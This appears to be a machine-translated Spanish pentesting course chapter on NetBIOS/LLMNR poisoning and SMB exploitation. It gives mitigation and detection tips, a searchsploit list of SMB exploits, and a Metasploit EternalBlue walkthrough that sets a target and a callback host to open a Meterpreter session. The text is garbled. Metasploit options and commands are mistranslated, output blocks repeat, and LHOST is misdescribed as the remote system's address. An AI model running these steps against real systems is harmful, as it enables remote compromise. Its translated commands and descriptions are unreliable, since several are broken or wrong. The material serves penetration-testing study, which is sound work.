Resolución de nombres de Windows y ataques SMB
La resolución de nombres es uno de los aspectos más fundamentales de las redes, los sistemas operativos y las aplicaciones. Existen varias tecnologías y protocolos de resolución de dirección de nombre a IP, incluido el Sistema básico de entrada / salida de red ( NetBIOS ), Resolución de nombre de multidifusión local de enlace ( LLMNR ) y Sistema de nombre de dominio ( DNS ). Las secciones que siguen cubren vulnerabilidades y exploits relacionados con estos protocolos.
Servicio de nombres de NetBIOS y LLMNR
NetBIOS y LLMNR son protocolos que Microsoft Windows utiliza principalmente para la identificación del host. LLMNR, que se basa en el formato de protocolo DNS, permite a los hosts en el mismo enlace local realizar la resolución de nombre para otros hosts. Por ejemplo, un host de Windows que intenta comunicarse con una impresora o con una carpeta compartida de red puede usar NetBIOS, como se ilustra en la Figura 5-1.
Figura 5-1 – Ejemplo de resolución de NetBIOS

NetBIOS ofrece tres servicios diferentes:
- Servicio de nombres de NetBIOS ( NetBIOS-NS ) para registro y resolución de nombres
- Servicio de datagramas ( NetBIOS-DGM ) para comunicación sin conexión
- Servicio de sesión ( NetBIOS-SSN ) para comunicación orientada a la conexión
Las operaciones relacionadas con NetBIOS utilizan los siguientes puertos y protocolos:
- Puerto TCP 135: Llamada de procedimiento remoto de Microsoft ( MS-RPC ) mapeador de punto final, utilizado para la comunicación de cliente a cliente y de servidor a cliente
- Puerto UDP 137: Servicio de nombres de NetBIOS
- Puerto UDP 138: Servicio de datagramas de NetBIOS
- Puerto TCP 139: Servicio de sesión de NetBIOS
- Puerto TCP 445: Protocolo SMB, utilizado para compartir archivos entre diferentes sistemas operativos, incluidos los sistemas basados en Windows y Unix
NOTA Tradicionalmente, un nombre NetBIOS era un nombre de 16 caracteres asignado a una computadora en un grupo de trabajo por WINS para la resolución de nombre de una dirección IP a un nombre NetBIOS. Microsoft ahora usa DNS para la resolución de nombre.
En Windows, un grupo de trabajo es una red de área local ( LAN ) de igual a igual que puede admitir un máximo de 10 hosts en la misma subred. Un grupo de trabajo no tiene administración centralizada. Básicamente, cada usuario controla los recursos y la seguridad localmente en su sistema. Una implementación basada en el dominio, por otro lado, es una red de cliente a servidor que puede admitir miles de hosts que están geográficamente dispersos en muchas subredes. Un usuario con una cuenta en el dominio puede iniciar sesión en cualquier sistema informático sin tener una cuenta en esa computadora. Lo hace autenticándose en un controlador de dominio.
Históricamente, ha habido docenas de vulnerabilidades en NetBIOS, SMB y LLMNR. Echemos un vistazo a un ejemplo simple. El nombre predeterminado del grupo de trabajo en Windows es el GRUPO DE TRABAJO. Muchos usuarios dejan su grupo de trabajo configurado con este nombre predeterminado y configuran el uso compartido de archivos o impresoras con credenciales débiles. Es muy fácil para un atacante enumerar las máquinas y potencialmente comprometer el sistema mediante contraseñas de fuerza bruta o aprovechando otras técnicas.
Una vulnerabilidad común en LLMNR implica que un atacante falsifique una fuente autorizada para la resolución de nombre en un sistema de víctimas respondiendo al tráfico de LLMNR sobre el puerto UDP 5355 y el tráfico NBT-NS sobre el puerto UDP 137). El atacante básicamente envenena el servicio LLMNR para manipular el sistema de la víctima. Si el host solicitado pertenece a un recurso que requiere identificación o autenticación, el nombre de usuario y el hash NTLMv2 se envían al atacante. El atacante puede reunir el hash enviado a través de la red utilizando herramientas como rastreadores. Posteriormente, el atacante puede forzar brutalmente o descifrar los hash fuera de línea para obtener las contraseñas de texto sin formato.
Se pueden usar varias herramientas para realizar este tipo de ataque, como NBNSpoof, Metasploit y Responder. Metasploit, por supuesto, es una de las herramientas y marcos más populares utilizados por los probadores de penetración y los atacantes. Otra herramienta de código abierto que es muy popular e incluso ha sido utilizada por malware es Pupy, que está disponible en GitHub. Pupy es una herramienta multiplataforma de administración remota y post-explotación basada en Python que funciona en Windows, Linux, macOS e incluso Android.
CONSEJO Una de las mitigaciones comunes para este tipo de ataques es deshabilitar LLMNR y NetBIOS en la configuración de seguridad informática local o configurar una política grupal. Además, puede configurar políticas adicionales de controles de acceso basados en red o host ( reglas ) para bloquear el tráfico LLMNR / NetBIOS si no se necesitan estos protocolos. Una de las técnicas de detección comunes para los ataques de envenenamiento por LLMNR es monitorear la clave de registro HKLM \ Software \ Políticas
\Microsoft \ Windows NT \ DNSClient para cambios en el valor Habilitar Multicast DWORD. Si ve un cero ( 0 ) para el valor de esa clave, sabe que LLMNR está deshabilitado.
Explotaciones SMB
Como aprendió en la sección anterior, SMB ha sufrido históricamente numerosas vulnerabilidades catastróficas. Puede ver esto fácilmente simplemente explorando las docenas de exploits conocidos en la Base de datos de exploits ( exploit-db.com ) utilizando el searchsploit comando, como se muestra en el Ejemplo 5-1.
NOTA los Explotar título en la salida del ejemplo 5-1 se trunca. Ingrese el comando searchsploit smb en una amplia ventana de terminal en su instancia de Kali para ver los títulos completos.
Ejemplo 5-1 – Búsqueda de exploits SMB conocidos en la base de datos de exploits
root@kali:~# **searchsploit smb**
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
Apple Mac OSX - 'mount_smbfs' Local Stack Buffer Overflow | osx/local/4759.c
CyberCop Scanner Smbgrind 5.5 - Buffer Overflow (PoC) | windows/dos/39452.txt
Ethereal 0.x - Multiple iSNS / SMB / SNMP Protocol Dissect | linux/remote/24259.c
foomatic-gui python-foomatic 0.7.9.4 - 'pysmb.py' Arbitrar | multiple/remote/36013.txt
LedgerSMB1.0/1.1 / SQL-Ledger 2.6.x - 'Login' Local File I | cgi/webapps/29761.txt
Links 1.00pre12 - 'smbclient' Remote Code Execution | multiple/remote/2784.html
Links_ ELinks 'smbclient' - Remote Command Execution | linux/remote/29033.html
Linux Kernel 2.6.x - SMBFS CHRoot Security Restriction Byp | linux/local/27766.txt
Linux pam_lib_smb < 1.1.6 - '/bin/login' Remote Overflow | linux/remote/89.c
Microsoft - SMB Server Trans2 Zero Size Pool Alloc (MS10-0 | windows/dos/14607.py
Microsoft DNS RPC Service - 'extractQuotedChar()' Remote O | windows/remote/16366.rb
Microsoft SMB Driver - Local Denial of Service | windows/dos/28001.c
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'Ete | windows/remote/43970.rb
Microsoft Windows - 'SMB' Transaction Response Handling (M | windows/dos/1065.c
Microsoft Windows - 'SMBGhost' Remote Code Execution | windows/remote/48537.py
Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) | windows/remote/40280.py
Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Fun | windows/remote/14674.txt
Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Fun | windows/remote/16363.rb
Microsoft Windows - 'WRITE_ANDX' SMB Command Handling Kern | windows/dos/6463.rb
Microsoft Windows - LSASS SMB NTLM Exchange Null-Pointer D | windows/dos/40744.txt
Microsoft Windows - SMB Client-Side Bug (PoC) (MS10-006) | windows/dos/12258.py
Microsoft Windows - SMB Relay Code Execution (MS08-068) (M | windows/remote/16360.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS1 | windows/dos/41891.rb
Microsoft Windows - SMB2 Negotiate Protocol '0x72' Respons | windows/dos/12524.py
Microsoft Windows - SmbRelay3 NTLM Replay (MS08-068) | windows/remote/7125.txt
Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SM | windows/dos/48216.md
Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SM | windows/local/48267.txt
Microsoft Windows 10 - SMBv3 Tree Connect (PoC) | windows/dos/41222.py
Microsoft Windows 10.0.17134.648 - HTTP -> SMB NTLM Reflec | windows/local/47115.txt
Microsoft Windows 2000/XP - SMB Authentication Remote Over | windows/remote/20.txt
Microsoft Windows 2003 SP2 - 'ERRATICGOPHER' SMB Remote Co | windows/remote/41929.py
Microsoft Windows 2003 SP2 - 'RRAS' SMB Remote Code Execut | windows/remote/44616.py
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Cod | windows/remote/42031.py
Microsoft Windows 7/2008 R2 - SMB Client Trans2 Stack Over | windows/dos/12273.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'Eternal | windows/remote/42315.py
Microsoft Windows 8.1/2012 R2 - SMBv3 Null Pointer Derefer | windows/dos/44189.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB | windows_x86-64/remote/42030.py
Microsoft Windows 95/Windows for Workgroups - 'smbclient' | windows/remote/20371.txt
Microsoft Windows NT 4.0 SP5 / Terminal Server 4.0 - 'Pass | windows/remote/19197.txt
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' S | windows_x86-64/remote/41987.py
Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitra | windows/dos/43517.txt
Microsoft Windows Vista/7 - SMB2.0 Negotiate Protocol Requ | windows/dos/9594.txt
Microsoft Windows XP/2000 - 'Mrxsmb.sys' Local Privilege E | windows/local/1911.c
Microsoft Windows XP/2000/NT 4.0 - Network Share Provider | windows/dos/21746.c
Microsoft Windows XP/2000/NT 4.0 - Network Share Provider | windows/dos/21747.txt
MikroTik RouterOS < 6.41.3/6.42rc27 - SMB Buffer Overflow | hardware/remote/44290.py
Netware - SMB Remote Stack Overflow (PoC) | novell/dos/13906.txt
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflo | multiple/dos/5712.pl
Samsung SyncThruWeb 2.01.00.26 - SMB Hash Disclosure | hardware/webapps/38004.txt
SmbClientParser 2.7 Perl Module - Remote Command Execution | multiple/remote/32084.txt
smbftpd 0.96 - SMBDirList-function Remote Format String | linux/remote/4478.c
smbind 0.4.7 - SQL Injection | php/webapps/14884.txt
SMBlog 1.2 - Arbitrary PHP Command Execution | php/webapps/27340.txt
SQL-Ledger 2.6.x/LedgerSMB 1.0 - 'Terminal' Directory Trav | cgi/webapps/28514.txt
VideoLAN VLC Client (Windows x86) - 'smb://' URI Buffer Ov | windows_x86/local/16678.rb
VideoLAN VLC Media Player 0.8.6f - 'smb://' URI Handling R | windows/remote/9303.c
VideoLAN VLC Media Player 0.8.6f - 'smb://' URI Handling R | windows/remote/9318.py
VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffe | windows/dos/9029.rb
VideoLAN VLC Media Player 1.0.0/1.0.1 - 'smb://' URI Handl | windows/dos/9427.py
VideoLAN VLC Media Player 1.0.2 - 'smb://' URI Stack Overf | windows/remote/9816.py
VideoLAN VLC Media Player 1.0.3 - 'smb://' URI Handling Re | windows/dos/10333.py
VideoLAN VLC Media Player < 1.1.4 - '.xspf smb://' URI Han | windows/dos/14892.py
Visale 1.0 - 'pblsmb.cgi?listno' Cross-Site Scripting | cgi/webapps/27681.txt
ZYXEL Router 3.40 Zynos - SMB Data Handling Denial of Serv | hardware/dos/29767.txt
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
root@kali:~#
NOTA La información detallada sobre cómo instalar SearchSploit está disponible en https://www.exploit-db.com/searchsploit/.
Una de las hazañas SMB más utilizadas en los últimos tiempos ha sido la hazaña EternalBlue, que fue filtrada por una entidad llamada Shadow Brokers que supuestamente robó numerosas hazañas de los EE. UU. Agencia de Seguridad Nacional ( NSA ). La explotación exitosa de EternalBlue permite que un atacante remoto no autenticado comprometa un sistema afectado y ejecute código arbitrario. Este exploit se ha utilizado en ransomware como WannaCry y Nyeta. Este exploit ha sido portado a muchas herramientas diferentes, incluido Metasploit.
El ejemplo 5-2 proporciona un breve ejemplo del exploit EternalBlue en Metasploit. ( El Módulo 10, “ Herramientas y análisis de código, ” proporciona detalles sobre Metasploit. )
Ejemplo 5-2 – Usando la Explotación EternalBlue en Metasploit
msf > **use exploit / windows / smb / ms17_010_eternalblue**
msf > exploit ( windows / smb / ms17_010_eternalblue ) > **mostrar opciones**
Opciones de módulo ( exploit / windows / smb / ms17_010_eternalblue ):
Nombre Configuración actual Descripción requerida
---- --------------- ------- ------- -----------
FANTASMAS sí El host objetivo ( s ), ver https://github.com/rapid7/metasploit-
framework / wiki / Using-Metasploit
INFORME 445 sí El puerto objetivo ( TCP )
SMBDomain no ( Opcional ) El dominio de Windows a utilizar para la autenticación. Solo
afecta a Windows Server 2008 R2, Windows 7, Windows Embedded
Máquinas de destino estándar 7.SMBPass no ( Opcional ) La contraseña para el nombre de usuario especificado
SMBUser no ( Opcional ) El nombre de usuario para autenticar como
VERIFY_ARCH true yes Sí Compruebe si la arquitectura remota coincide con el exploit Target.
Solo afecta a Windows Server 2008 R2, Windows 7, Windows Embedded
Máquinas de destino estándar 7.
VERIFY_TARGET verdadero sí Compruebe si el sistema operativo remoto coincide con el exploit Target. Solo afecta a Windows
Servidor 2008 R2, Windows 7, Windows Embedded Standard 7 target
máquinas.
Salida < omitida por brevedad >
msf exploit ( windows / smb / ms17_010_eternalblue ) > Windows incrustado
Máquinas de destino estándar 7.
VERIFY_TARGET verdadero sí Compruebe si el sistema operativo remoto coincide con el exploit Target. Solo afecta a Windows
Servidor 2008 R2, Windows 7, Windows Embedded Standard 7 target
máquinas.
Salida < omitida por brevedad >
msf exploit ( windows / smb / ms17_010_eternalblue ) > Windows incrustado
Máquinas de destino estándar 7.
VERIFY_TARGET verdadero sí Compruebe si el sistema operativo remoto coincide con el exploit Target. Solo afecta a Windows
Servidor 2008 R2, Windows 7, Windows Embedded Standard 7 target
máquinas.
Salida < omitida por brevedad >
msf exploit ( windows / smb / ms17_010_eternalblue ) > msf exploit ( windows / smb / ms17_010_eternalblue ) > msf exploit ( windows / smb / ms17_010_eternalblue ) > **establecer RHOST 10.1.1.2**
msf exploit ( windows / smb / ms17_010_eternalblue ) > **set LHOST 10.10.66.6**
exploit msf ( ms17_010_eternalblue ) > **explotar**
CONSEJO Cómo sabe dónde buscar un exploit específico, como el exploit EternalBlue? Para determinar la ubicación exacta de cualquier exploit, puede usar el buscar comando en Metasploit.
En el ejemplo 5-2, el use exploit / windows / smb / ms17_010_eternalblue se invoca el comando para usar el exploit EternalBlue. Entonces el mostrar opciones el comando se usa para mostrar todas las opciones configurables para el exploit EternalBlue. Como mínimo, debe configurarse la dirección IP del host remoto ( RHOST ) y la dirección IP del host con la que desea que la víctima se comunique después de la explotación ( LHOST ). Para configurar el FANTASMA, usa el establecer FANTASMA comando seguido de la dirección IP del sistema remoto (10.1.1.2 en este ejemplo ). Para configurar el LHOST, usa el establecer LHOST comando seguido de la dirección IP del sistema remoto (10.10.66.6 en este ejemplo ). El puerto remoto ( 445 ) ya está configurado para usted de forma predeterminada. Después de correr el explotar comando, Metasploit ejecuta el exploit contra el sistema de destino y lanza una sesión de Meterpreter para permitirle controlar y comprometer aún más el sistema. Meterpreter es una herramienta posterior a la explotación; Es parte del marco Metasploit del que también aprenderá más en el Módulo 10.
En el Módulo 3, “ Recopilación de información e identificación de vulnerabilidad,” aprendió que la enumeración juega un papel importante en las pruebas de penetración porque puede descubrir información sobre sistemas vulnerables que pueden ayudarlo a explotar esos sistemas. Puedes usar herramientas como Mapa de N y Enum4linux para recopilar información sobre sistemas SMB vulnerables y luego usar herramientas como Metasploit para explotar vulnerabilidades conocidas.
